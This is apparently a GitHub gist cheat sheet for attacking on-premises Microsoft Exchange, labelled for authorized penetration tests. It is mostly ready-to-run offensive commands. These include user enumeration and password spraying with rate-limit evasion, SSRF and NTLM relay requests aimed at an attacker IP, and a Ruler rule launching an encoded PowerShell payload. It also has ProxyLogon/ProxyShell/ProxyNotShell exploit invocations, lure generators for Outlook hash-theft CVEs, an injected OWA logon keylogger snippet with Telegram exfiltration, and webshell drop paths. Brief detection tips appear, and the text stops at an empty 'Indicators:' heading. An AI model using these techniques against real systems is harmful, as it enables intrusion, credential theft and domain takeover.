Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save cyberheartmi9/05330b9b9c3c2067c14558e083be3426 to your computer and use it in GitHub Desktop.

Select an option

Save cyberheartmi9/05330b9b9c3c2067c14558e083be3426 to your computer and use it in GitHub Desktop.

MS Exchange Pentesting Cheat Sheet v3

Sources:
[1] Attacking MS Exchange Web Interfaces – PT SWARM (2020)
[2] Arseniy Sharoglazov – Practical Use Cases of Exploiting MS Exchange in External Penetration Tests (PositiveHack Talks Hanoi, Nov 2024)
[3] CVE research + real-world campaign analysis (2021–2025)
Scope: External/Internal authorized penetration testing of on-premises MS Exchange
Warning: For authorized engagements only.


Typical Attack Path

Discover Exchange → User Enumeration → Password Spraying → SSRF / CVEs → RCE
                          ↑                    ↑
                    [Obtain User List] ←────────┘
                          ↓
                 [Data Leaks / Persistence]

0. Reconnaissance & Discovery

0.1 Exchange Endpoints

/autodiscover/autodiscover.xml    MS-OXDSCLI   (path completion may apply)
/EWS/Exchange.asmx                MS-OXWSCORE  (case sensitive may apply)
/owa/ /ecp/                       Outlook Web App / Exchange Control Panel
/PowerShell/                      MS-WSMAN     (case sensitive may apply)
/mapi/                            MS-OXCMAPIHTTP
/Microsoft-Server-ActiveSync/     MS-ASHTTP    (case sensitive may apply)
/oab/                             MS-OXWOAB
/rpc/rpcproxy.dll                 MS-RPCH

Many additional poorly-studied endpoints exist worth probing.

0.2 Allowlist Bypass via Path Traversal

Some admins restrict endpoints. The restriction is frequently bypassable via /../. Confirmed on 7+ real engagements.

# General pattern
curl -k --path-as-is https://<host>/<allowed-endpoint>/../<endpoint-needed>/

# Examples
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../owa/
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../ecp/
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../PowerShell/

0.3 Fingerprint via NTLMSSP (Leaks Domain + Exchange Version)

# ⚠ Change the User-Agent or the request may be blocked by TMG/WAF
nmap -p 443 --script http-ntlm-info \
  --script-args "http-ntlm-info.root=/autodiscover/autodiscover.xml,http.useragent=Microsoft Office/16.0" \
  autodiscover.target.com
# Returns: DNS_Domain_Name, NetBIOS_Domain_Name, DNS_Computer_Name, Product_Version

# Shodan dork
http.component:"outlook web app"

0.4 Enumerate All NTLM Endpoints

python3 ntlmscan.py https://mail.target.com
# https://github.com/nyxgeek/ntlmscan

0.5 Connect to PowerShell via 443 (Bypass 80/tcp Restriction)

Microsoft's documentation specifies PowerShell connects only via 80/tcp (HTTP), blocking external exploitation of CVE-2023-21707 and others. Bypass with socat to tunnel HTTPS as HTTP:

echo "192.168.0.10 EXCH01.CONTOSO.COM" >> /etc/hosts

socat -v TCP4-LISTEN:80,fork,reuseaddr SSL:mail.target.com:443,verify=0
$secureString = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
$userCredential = New-Object System.Management.Automation.PSCredential `
                    -ArgumentList "CONTOSO.COM\admin", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$session = New-PSSession -ConfigurationName Microsoft.Exchange `
           -ConnectionUri http://EXCH01.CONTOSO.COM/PowerShell `
           -Credential $userCredential -Authentication Kerberos `
           -SessionOption $sessionOption
Import-PSSession $session

1. User Enumeration

1.1 Primary: Time-Based NTLM Enumeration (No Credentials, No Lockouts)

Every NTLM auth endpoint is vulnerable to timing-based user enumeration — valid users take slightly longer to respond. Send credentials via Basic or x-www-form-urlencoded, NOT via NetNTLM.

# Step 1 — Get domain name via NTLMSSP
nmap -p 443 --script http-ntlm-info \
  --script-args "http-ntlm-info.root=/autodiscover/autodiscover.xml,http.useragent=Microsoft Office/16.0" \
  autodiscover.target.com

# Step 2 — Time-based enumeration via wfuzz
wfuzz -c -w ./usernames.txt --hc XXX -t 1 \
  --basic 'AD_DOMAIN_NAME\FUZZ:P@ssw0rd' \
  --req-delay 1 \
  -f results.txt,csv \
  -Z https://autodiscover.target.com/autodiscover/autodiscover.xml

# Reference: http://h.foofus.net/?p=784

1.2 AutodiscoverV2 Cookie-Based Email Enumeration (No Credentials, No Lockouts)

Set the target email in the Cookie: Email= header — presence/absence of a value in X-BackEndCookie reveals if the email address is valid. Discovers email addresses only, not domain account names.

# Email NOT found — X-BackEndCookie has no encoded value
GET /autodiscover/autodiscover.json?Protocol=ping HTTP/1.1
Cookie: Email=notexist@target.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)

# Email FOUND — X-BackEndCookie contains encoded SID data
GET /autodiscover/autodiscover.json?Protocol=ping HTTP/1.1
Cookie: Email=administrator@target.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
# Automate with wfuzz
wfuzz -c -w ./emails.txt --hh <invalid_size> \
  -H "Cookie: Email=FUZZ@target.com" \
  -H "User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)" \
  https://mail.target.com/autodiscover/autodiscover.json?Protocol=ping

Technique credited to Georgy Kryuchkov (@zucrypt)

1.3 Classic SMTP Enumeration (No Credentials)

SMTP RCPT/VRFY/EXPN enumeration still works against Exchange. Discovers email addresses only. May require script modifications.

smtp-user-enum -M RCPT -U ./emails.txt -D target.com -t mx.target.com -p 25
# https://github.com/pentestmonkey/smtp-user-enum

1.4 Autodiscover XML — SID / DC FQDN / OAB Leak (Valid Domain Creds)

Any domain account works for auth. The email in <EMailAddress> must be a valid primary address.

curl -sk -X POST https://mail.target.com/autodiscover/autodiscover.xml \
  -H "User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)" \
  -H "Authorization: Basic $(echo -n 'DOMAIN\user:P@ssw0rd' | base64)" \
  -H "Content-Type: text/xml" \
  -d '<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  <Request>
    <EMailAddress>user@target.com</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  </Request>
</Autodiscover>'

# Extract:
# X-BackEndCookie  → authenticated user's SID
# <AD>             → DC FQDN
# <Server>         → Exchange RPC GUID identity
# <OABUrl>         → OAB path for GAL download

1.5 OAB — Global Address List Dump (Valid Domain Creds)

# List OAB files
curl -sk -u 'DOMAIN\user:P@ssw0rd' https://mail.target.com/<OABUrl>/oab.xml

# Download GAL file
curl -sk -u 'DOMAIN\user:P@ssw0rd' https://mail.target.com/<OABUrl>/<guid>.lzx -o gal.lzx

# Decompress
oabextract gal.lzx gal.oab   # libmspack: https://www.cabextract.org.uk/libmspack/

# Extract emails
strings gal.oab | grep -E "@|SMTP"

1.6 GAL via MailSniper (Requires Mailbox)

Get-GlobalAddressList -ExchHostname mail.target.com -UserName domain\user \
  -Password 'P@ss' -ExchangeVersion Exchange2016 -OutFile gal.txt
# https://github.com/dafthack/MailSniper

1.7 MailSniper — OWA Username Harvesting (No Credentials)

# Timing-based harvesting directly against OWA
Invoke-UsernameHarvestOWA -ExchHostname mail.target.com \
  -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt

# Harvest domain name from OWA WWW-Authenticate header
Invoke-DomainHarvestOWA -ExchHostname mail.target.com

1.8 exchanger.py — Full AD Dump via MS-OXNSPI (Any Domain Account, No Mailbox)

Novel PT SWARM technique using RPC over HTTP v2 with MS-OXNSPI/MS-OXABREF. No Autodiscover needed. Works with machine accounts too. Output can include machine certs, subnets, service account names, printer URLs.

# List Address Books
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' list-tables

# Dump Global Address List
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
  dump-tables -name "Global Address List"

# DNT brute-force — dumps ALL AD objects (output may exceed 1 GB)
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
  dnt-lookup -output-file ad_dump.txt

# Lookup by known GUIDs
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
  guid-known -guid-file guids.txt

# Pass-the-Hash
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -hashes :NTLMHASH dnt-lookup

# https://github.com/SecureAuthCorp/impacket
# ⚠ dnt-lookup may crash lsass.exe on Multi-Tenant/Global Catalog DCs — use list-tables/dump-tables instead

2. Password Spraying

2.1 Know the Lockout Policy First

net accounts /domain
# Typical: threshold=5 / 30-min window / 30-min lockout

# If you already have an account, test by intentionally locking it

2.2 Password Wordlist Guidance

✗ AVOID: rockyou.txt, rockyou2024.txt, 10-million-password-list
  (most passwords don't meet complexity → wasted lockouts)

✓ USE: dodgypass.txt — corporate-pattern passwords meeting complexity rules
  Examples: P@ssw0rd, Qwerty123, 1qaz@WSX, 1qaz!QAZ, !QAZ2wsx,
            123qweASD, Aa123456, QWEasd123, Qwer1234, 5tgb^YHN

  https://github.com/mohemiv/dodgypass

2.3 Spray via Autodiscover — patator

patator.py http_fuzz auth_type=ntlm \
  url=https://autodiscover.target.com/autodiscover/autodiscover.xml \
  user_pass='FILE0:P@ssw0rd' 0=./userlist.txt
# https://github.com/lanjelot/patator

2.4 Spray via OWA / EWS / EAS — MailSniper

Invoke-PasswordSprayOWA -ExchHostname mail.target.com \
  -UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt

Invoke-PasswordSprayEWS -ExchHostname mail.target.com \
  -UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt

Invoke-PasswordSprayEAS -ExchHostname mail.target.com \
  -UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt
# EAS bypass: even if OWA is protected by 2FA, ActiveSync may not be

2.5 Spray via netexec

nxc exchange mail.target.com -u users.txt -p 'Spring2024!' --no-bruteforce -d DOMAIN

2.6 Spray via Ruler (Cross-Platform)

ruler --domain target.com --insecure brute --userpass userpass.txt -v
# https://github.com/sensepost/ruler

2.7 Shadow Authentication (Bypass IP-Based Blocking / Rate Limits)

Outlook for iOS/Android uses Microsoft's MS Sync servers to proxy requests to on-premises Exchange. By routing spray traffic through this path, requests appear to originate from Microsoft's IP ranges — bypassing WAF/IP rate-limiting rules.

Attacker → Microsoft MS Sync Servers → EAS (Exchange ActiveSync) → On-Prem Exchange

Reference: https://learn.microsoft.com/en-us/exchange/clients/outlook-for-ios-and-android/use-basic-auth

2.8 Check if ActiveSync Bypasses MFA

If OWA is protected by MFA/ADFS, try EAS directly — it frequently has no MFA enforced:

curl -sk -X OPTIONS https://mail.target.com/Microsoft-Server-ActiveSync/ \
  -u 'DOMAIN\user:P@ssw0rd' -I
# 200 = auth success without MFA

3. SSRF Exploitation

3.1 Known Public SSRFs

Vector Endpoint Notes
PushSubscription EWS /EWS/Exchange.asmx NTLM relay trigger / blind SSRF
PushSubscription MAPI Same via MAPI protocol
PushSubscription RPC Same via RPC protocol
ActiveSync Search/ItemOperations /Microsoft-Server-ActiveSync/ NetBIOS names only (no dots allowed)
CreateAttachmentFromUri /owa/service.svc Full-read SSRF (see 3.3)

Microsoft treats most of these as intended features, not vulnerabilities.

3.2 EWS Subscribe — Blind SSRF / NTLM Relay Trigger

POST /EWS/Exchange.asmx HTTP/1.1
Authorization: Basic <base64_creds>
Content-Type: text/xml

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Body>
    <m:Subscribe>
      <m:PushSubscriptionRequest>
        <t:FolderIds><t:DistinguishedFolderId Id="inbox"/></t:FolderIds>
        <t:EventTypes><t:EventType>NewMailEvent</t:EventType></t:EventTypes>
        <t:URL>http://<attacker_IP>/capture</t:URL>
        <t:StatusFrequency>1</t:StatusFrequency>
      </m:PushSubscriptionRequest>
    </m:Subscribe>
  </soap:Body>
</soap:Envelope>

3.3 OWA CreateAttachmentFromUri — Full-Read SSRF (Auth Required)

Description: Unpatched SSRF in OWA that returns full HTTP response body of any internal URL as an email attachment. No CVE assigned — silently patched ~Sep 2024. Identified by Mikhail Klyuchnikov (2021) and Piotr Bazydło (2023, published Nov 2023 via ZDI).

POST /owa/service.svc?action=CreateAttachmentFromUri HTTP/1.1
Host: mail.target.com
X-OWA-CANARY: <canary>
Content-Type: application/json; charset=UTF-8
Action: CreateAttachmentFromUri
Cookie: <owa_session_cookies>
Content-Length: 0
X-OWA-UrlPostData: {"itemId":{"__type":"ItemId:#Exchange","Id":"[]","ChangeKey":""},
  "uri":"http://10.0.1.22:8080/", "name":"testSSRF",
  "subscriptionId":"a", "isInline":false, "contentId":""}
# Wrapper for IP-range scanning via SSRF
python3 exch.py 'http://10.0.3.22:8080/'
python3 exch.py 'http://10.0.3.22:8080/cgi-bin/authLogin.cgi'  # QNAP version fingerprint

# Write-up: https://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments

3.4 ActiveSync PEAS — Internal SMB/HTTP Access (Auth + Mailbox Required)

# List shares via Exchange ActiveSync SSRF
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
  list-unc '\\DC01-PRINT-02\'

# Download file from internal share via Exchange
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
  dl-unc '\\DC01-PRINT-02\print$\file.txt' -o /tmp/file.txt

# Force NTLM auth capture (Responder running on attacker)
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
  list-unc '\\<attacker_NetBIOS>\'

# ⚠ Only NetBIOS names work (no dots)
# ⚠ PEAS device IDs stored in AD — detectable via LDAP (msExchDeviceID=*)
# ⚠ Modify hard-coded PEAS identifiers before use to avoid quarantine detection
# Spoof legit identifiers: msExchDeviceModel=Outlook for iOS and Android
# https://github.com/FSecureLABS/PEAS

4. NTLM Relay Attacks

4.1 PrivExchange — EWS Subscribe → NTLM Relay → Domain Admin

# Step 1: Relay listener → LDAP on DC (grant DCSync rights to low-priv user)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <low_priv_user>

# Step 2: Force Exchange machine account to auth to attacker
python3 privexchange.py -ah <attacker_IP> mail.target.com \
  -u 'user' -p 'P@ss' -d DOMAIN

# Step 3: DCSync
secretsdump.py DOMAIN/<low_priv_user>:'P@ss'@<DC_IP>

# PowerShell alternative:
# powerPriv -targetHost exchange -attackerHost <attacker_IP> -Version 2016

# https://github.com/dirkjanm/PrivExchange

4.2 CVE-2024-21410 — NTLM Relay to Exchange (CVSS 9.8, Zero-Day 2024)

Description: Before Exchange Server 2019 CU14, Exchange did not enforce Extended Protection for Authentication (EPA). An attacker can capture a victim's NTLMv2 hash (e.g., via CVE-2023-23397 or CVE-2024-21413/MonikerLink) and relay it directly to Exchange — no cracking required.

# Step 1: Set up NTLM relay to Exchange
ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx --no-smb-server

# Step 2a: Coerce NTLM from Outlook via CVE-2023-23397 (calendar/reminder lure)
python3 CVE-2023-23397.py --server <attacker_IP> --output calendar_lure.msg
# Send to victim via email/calendar

# Step 2b: Alternatively coerce via CVE-2024-21413 (MonikerLink email)
python CVE-2024-21413.py \
  --server <SMTP_server> --port 587 \
  --username <sender_email> --password <pass> \
  --sender <sender> --recipient <victim> \
  --url "file:///\\<attacker_IP>\share\lure.rtf!something" \
  --subject "Important Document"

# Relayed hash grants access as victim on Exchange — read mail, impersonate, pivot

# CVE: CVE-2024-21410 (CVSS 9.8) — Patched: Exchange 2019 CU14 (Feb 2024)
# Affected: Exchange 2016/2019 without CU14 / EPA enabled
# Actively exploited by APT28 / Forest Blizzard (Russia)
# PoC: https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

5. Mailbox Abuse

5.1 Ruler — MAPI RCE via Rules / Forms / Home Pages (Requires Mailbox + Unpatched Outlook)

# Add malicious rule
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
  add --trigger "trigger_word" --action "cmd.exe /c powershell -e <b64payload>"

# List rules
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' display

# Delete rule
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
  delete --name "rulename"

# Malicious form
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
  form add --suffix test --input /path/to/payload.txt

# Folder home page
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
  homepage add --url http://<attacker>/payload.html

# ⚠ Requires /autodiscover/ accessible + victim runs Outlook + Important updates missing
# ⚠ Hardcoded strings make Ruler detectable in most modern EDR
# https://github.com/sensepost/ruler

5.2 MailSniper — Search Mailboxes for Sensitive Data

# Search all mailboxes (requires ApplicationImpersonation role)
Invoke-GlobalMailSearch -ImpersonationAccount admin \
  -ExchHostname mail.target.com -OutputCsv results.csv \
  -Terms "password","vpn","credentials","secret","key"

# Search own mailbox
Invoke-SelfSearch -ExchHostname mail.target.com \
  -ExchangeVersion Exchange2016 -Terms "password"

# List folder structure
Get-MailboxFolders -Mailbox current-user@target.com

5.3 Mailbox Delegation Abuse (EWS Privilege Escalation via OWA)

1. From OWA: Settings → Other People's Mailboxes → add target account
2. Grant permissions on your inbox to target account
3. Browse inbox in browser → capture admin SID from HTTP response
4. Use SID with serverHTTP_relayNTLM.py + Exch_EWS_pushSubscribe.py (ZDI scripts)
   to escalate and access any mailbox

6. Critical CVE Exploit Chains

6.1 ProxyLogon — Pre-Auth RCE (No Credentials)

CVEs: CVE-2021-26855 (SSRF/auth bypass) + CVE-2021-27065 (file write → webshell)
Patched: March 2021 | Exploited by: HAFNIUM APT, multiple ransomware groups

nuclei -t cves/2021/CVE-2021-26855.yaml -u https://mail.target.com

use exploit/windows/http/exchange_proxylogon_rce  # Metasploit
python3 proxylogon.py mail.target.com admin@target.com

Flow: SSRF via /ecp/ (no auth) → forge admin cookie → ECP arbitrary file write → webshell at /aspnet_client/


6.2 ProxyShell — Pre-Auth RCE (No Credentials)

CVEs: CVE-2021-34473 (ACL bypass) + CVE-2021-34523 (PowerShell EoP) + CVE-2021-31207 (file write)
Patched: May/Jul 2021 | Affects: Exchange 2013/2016/2019

nuclei -t cves/2021/CVE-2021-34473.yaml -u https://mail.target.com

use exploit/windows/http/exchange_proxyshell_rce  # Metasploit
python3 proxyshell.py -u https://mail.target.com -e admin@target.com
# https://github.com/ktecv2000/ProxyShell

Manual flow:

1. /autodiscover/ → leak victim Legacy DN
2. Legacy DN → leak admin SID → forge access token
3. EWS CreateItem → write ASPX webshell into mailbox attachment
4. New-MailboxExportRequest → export PST to .aspx path in web root
5. Access webshell → SYSTEM

6.3 ProxyNotShell — Auth RCE (Low-Priv Credentials)

CVEs: CVE-2022-41040 (auth SSRF) + CVE-2022-41082 (PowerShell deserialization RCE)
Patched: November 2022 | Affects: Exchange 2013/2016/2019

nuclei -t cves/2022/CVE-2022-41040.yaml -u https://mail.target.com
python3 proxynotshell.py -t mail.target.com -u user@target.com -p 'P@ss' -c 'whoami'

Flow: Auth SSRF via Autodiscover → /PowerShell/ backend → XAML deserialization → RCE as SYSTEM
Logs at: C:\Program Files\Microsoft\Exchange Server\V15\Logging\CmdletInfra\Powershell-Proxy\Http\


6.4 OWASSRF — Auth RCE via OWA (Bypasses ProxyNotShell URL-Rewrite Mitigations)

CVEs: CVE-2022-41080 (OWA EoP) + CVE-2022-41082 (RCE)
Patched: November 2022 | Used by: Play ransomware group

# Routes through OWA endpoint instead of Autodiscover (bypasses URL rewrite)
POST /owa/<email>/powershell

# PoC: https://github.com/CrowdStrike/OWASSRF
# ⚠ URL-rewrite mitigations ARE NOT sufficient — install Nov 2022 patch (KB5019758)

6.5 CVE-2023-23397 — Zero-Click NTLM Hash Theft via Outlook

Description: Crafted email/calendar invite with UNC path triggers NTLM auth on delivery — no user interaction. Exploited by APT28/Forest Blizzard (Russia) against NATO, Middle East, and government targets since April 2022.

python3 CVE-2023-23397.py --server <attacker_IP> --output malicious.msg

# Capture
responder -I eth0

# Crack or relay captured NTLMv2 hash
hashcat -m 5600 hash.txt wordlist.txt
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <user>

# https://github.com/api0cradle/CVE-2023-23397-POC-Powershell

6.6 CVE-2024-21413 MonikerLink + CVE-2024-21410 — NTLM Leak → Exchange Relay Chain

Description: Two-CVE chain patched February 2024 Patch Tuesday. CVE-2024-21413 (MonikerLink) sends a crafted file:// hyperlink in an email — when previewed in Outlook, NTLM credentials are leaked automatically (no click needed). CVE-2024-21410 allows relaying those credentials directly to Exchange. Exploitable even from Preview Pane.

# Step 1: Capture NTLM via MonikerLink email
python CVE-2024-21413.py \
  --server smtp.attacker.com --port 587 \
  --username attacker@attacker.com --password 'P@ss' \
  --sender attacker@attacker.com \
  --recipient victim@target.com \
  --url "file:///\\<attacker_IP>\share\file.rtf!something" \
  --subject "Urgent: Please review"

# Step 2: Relay captured NTLMv2 to Exchange (CVE-2024-21410)
ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx --no-smb-server

# CVE-2024-21413 CVSS: 9.8 — Affects all Outlook versions (actively exploited per CISA 2025)
# CVE-2024-21410 CVSS: 9.8 — Affects Exchange 2016/2019 pre-CU14 (zero-day, actively exploited)
# Fix: Exchange 2019 CU14 enables EPA by default; patch Outlook for CVE-2024-21413
# PoC: https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

7. Post-Exploitation

7.1 OWA Keylogger Injection (After ProxyShell/ProxyLogon — Persistence)

Description: Real-world attack observed by PT ESC (2024–2025) affecting 65+ organizations in 26 countries. After gaining SYSTEM via ProxyShell/ProxyLogon, attackers inject a JavaScript keylogger into OWA's logon.aspx page to silently harvest all user credentials.

// Injected into clkLgn() function in logon.aspx
var ObjectData = "ObjectType=" + escape(curTime + "\t" + gbid("username").value +
                 "\t" + gbid("password").value) + "&uin=" + Math.random().toString(16).substring(2);

Variant 1 — Local storage (stealth, no outbound traffic):

Credentials → written to .txt/.log file on server → accessible via browser path
Also captures: cookies, User-Agent strings, timestamps

Variant 2 — Telegram bot exfiltration:

Credentials → XHR GET request → external Telegram bot
Headers used: APIKey, AuthToken

Detection check:

# Check logon.aspx for injected code
strings "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx" | grep -i "objectdata\|clklgn\|telegram\|xhr"

# Check for accessible credential files
curl https://mail.target.com/<path_to_log_file>

7.2 ECP Admin Privilege Abuse (After Gaining Admin Access)

# Via Exchange Control Panel — impersonate any mailbox
# Grant ApplicationImpersonation to your controlled account
New-ManagementRoleAssignment -Name "ImpersonationAssign" \
  -Role ApplicationImpersonation -User attacker@target.com

# Search all mailboxes for sensitive content (MailSniper)
Invoke-GlobalMailSearch -ImpersonationAccount attacker@target.com \
  -ExchHostname mail.target.com -Terms "password","secret","vpn","key" -OutputCsv loot.csv

7.3 RPC Endpoint Mapping

python3 rpcmap.py \
  -auth-transport 'DOMAIN/user:P@ss' \
  -auth-rpc 'DOMAIN/user:P@ss' \
  -auth-level 6 -brute-opnums \
  'ncacn_http:[6001,RpcProxy=mail.target.com:443]'

7.4 Webshell Drop Paths (After ProxyLogon/ProxyShell RCE)

C:\inetpub\wwwroot\aspnet_client\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<guid>\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx  ← keylogger

7.5 Office Web Add-In Persistence (Fileless)

Malicious add-ins installed via EWS persist across devices without touching disk.
Reference: https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins-for-fun-and-limited-profit/


8. Real-World Case Studies

Case 1: MyQ Print Server → SYSTEM (PT SWARM, Large Enterprise, 2023)

Step 1: Time-based NTLM enumeration via wfuzz → user list obtained
Step 2: dodgypass.txt spray via Autodiscover → 100+ AD accounts compromised
Step 3: exchanger.py dnt-lookup → AD dump reveals MyQ print server (dc01-print-02)
        mailNickname=myq, objectSid, machine certificate included in output
Step 4: PEAS ActiveSync SSRF → verify \\dc01-print-02\ → print$ share confirmed
Step 5: Download MyQ software locally → PHP source obfuscated
        Decode via: <?php highlight_file("./Encryptor.php"); ?>
        All PHP files unlock after decoding Encryptor.php
Step 6: Analyze Mgmt.php::invoke() →
        @noAuthentication directive (no auth required) +
        signature = MD5(UTF-16LE($data)) +
        cloud password = "" (empty string, found via dynamic debugging)
Step 7: Variable function execution via SMB_LOCATION parameter
        SMB_LOCATION[64] overflows into cmd_first_arg → system() call
        POST http://dc01-print-02:8090/index.php?m=WebService_Mgmt::invoke
          &p={"m":"Wsf\\Win\\Firewall::delete","p":"----\\"|cmd...","id":"\"","pwd":"\""}
          &s=<md5_of_empty_string>
Step 8: Exfil command output via PEAS: dl-unc '\\dc01-print-02\print$\1.txt'

Result:  NT AUTHORITY\SYSTEM on print server
Time:    6 days (enum/brute) + 1 day (RCE)
CVE:     CVE-2024-28059 (MyQ Print Server 8.2, CVSS 9.8, patched Jan 2024)
# Key commands
python3 exchanger.py -target autodiscover.target.com -u 'DOMAIN/user' -p 'P@ss' \
  dnt-lookup -output-file ad_dump.txt

python3 peas.py -u 'user' -p 'P@ss' --server autodiscover.target.com \
  list-unc '\\dc01-print-02\'

python3 peas.py -u 'user' -p 'P@ss' --server autodiscover.target.com \
  dl-unc '\\dc01-print-02\print$\1.txt' -o /tmp/result.txt

Case 2: QNAP NAS → root (PT SWARM, Small Business, 2023)

Step 1: GitHub OSINT — RegExp search /[.]LOCAL[\\][A-Z0-9_]{10,}:/
        Found hardcoded credential: username=LDavi password=November_2022!
Step 2: Password incrementation brute-force via patator
        patator.py http_fuzz auth_type=basic url=https://mail.target.com/rpc/rpcproxy.dll
        user_pass='LDavi:November_2023!' → HTTP 200 → access confirmed
Step 3: Login OWA → use CreateAttachmentFromUri Full-Read SSRF
        Scan internal ranges: python3 exch.py 'http://10.0.3.22:8080/'
Step 4: QNAP NAS identified at 10.0.3.22:8080 via HTML fingerprint
Step 5: Fingerprint QNAP: GET /cgi-bin/authLogin.cgi
        → Model: TS-X41, Firmware: 4.3.6 (EOL, unsupported)
Step 6: QNAP user enumeration via SSRF:
        GET /cgi-bin/filemanager/qsyncPrepare.cgi?debug=9&user=admin → UID found
        GET /cgi-bin/filemanager/qsyncPrepare.cgi?debug=9&user=notexist → UID: ---
Step 7: Brute-force QNAP admin via SSRF (dodgypass.txt):
        GET /cgi-bin/authLogin.cgi?user=admin&plain+pwd=Qwerty123
        → authSid returned in XML on success
Step 8: Stack overflow in /cgi-bin/wizReq.cgi via SSRF:
        SMB_LOCATION[64] overflows into cmd_first_arg → arbitrary command via system()
        SMB_LOCATION=DEADBEEF...%60<cmd>%60
        Out-of-band DNS/HTTP callback confirms RCE

Result:  root on QNAP NAS file server
Time:    3 days (enum/brute) + 14 days (source analysis/RCE)
CVE-1:   CVE-2023-39300 (QNAP QTS 4.3.x/4.2.x, Moderate, patched Sep 2024)
CVE-2:   OWA CreateAttachmentFromUri SSRF — silently patched Microsoft ~Sep 2024, no CVE

Case 3: OWA Keylogger Campaign — Gov Agencies / Banks (PT ESC, 2024–2025)

Context: Active campaign discovered by Positive Technologies ESC (PT ESC)
         65+ organizations in 26 countries compromised
         First observed: 2021; expanded 2024–2025
         Sectors: Government, banking, IT, education, Africa + Middle East → global

Step 1: Scan internet for Exchange servers exposing OWA (Shodan/Censys)
        http.component:"outlook web app"
Step 2: Exploit ProxyShell (CVE-2021-34473/34523/31207) or ProxyLogon
        (CVE-2021-26855/27065) to gain SYSTEM on Exchange
Step 3: Inject JavaScript keylogger into logon.aspx:
        Modified clkLgn() function to capture username + password + timestamp
        var ObjectData = "ObjectType=" + escape(curTime + "\t" +
          gbid("username").value + "\t" + gbid("password").value) + "&uin=..."
Step 4: Exfiltrate via one of two methods:
        Variant A: Write to .log file on server (no outbound traffic, stealth)
          → Retrieve via direct HTTP request to known path
        Variant B: Send via XHR GET to Telegram bot
          → Headers: APIKey, AuthToken
Step 5: Harvest ongoing OWA credentials from all users over weeks/months

Persistence: Keylogger survives patching unless specifically removed
Detection:   Check logon.aspx for injected JS in clkLgn() / check for
             credential .log files accessible from internet

IOCs:
  Modified: C:\...\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx
  Dropped:  Accessible .txt/.log credential dump file at predictable path
  Traffic:  XHR GET requests to t.me/* or custom C2 with APIKey header

Case 4: MonikerLink + CVE-2024-21410 Chain — APT28 / Nation-State (2024)

Context: Used by APT28/Forest Blizzard (Russia) and other APTs
         Active exploitation confirmed by CISA (added to KEV catalog)
         97,000+ Exchange servers potentially vulnerable at disclosure time
         Targets: NATO governments, foreign affairs, energy, defense

Step 1: Identify organization + find Outlook-using victim email
Step 2: Send MonikerLink phishing email (CVE-2024-21413, CVSS 9.8):
        Subject: "Urgent: Shared Document Requires Review"
        Body contains: <a href="file:///\\<attacker_IP>\share\doc.rtf!something">View Doc</a>
        No click required — Preview Pane in Outlook triggers automatic NTLM auth
Step 3: Capture NTLMv2 hash via Responder on attacker infrastructure
Step 4: Relay captured NTLMv2 to Exchange (CVE-2024-21410):
        ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx
        → Authenticate as victim on Exchange without cracking hash
Step 5: Perform operations as victim: read emails, exfiltrate data,
        set email forwarding rules, move laterally via internal emails

Indicators:
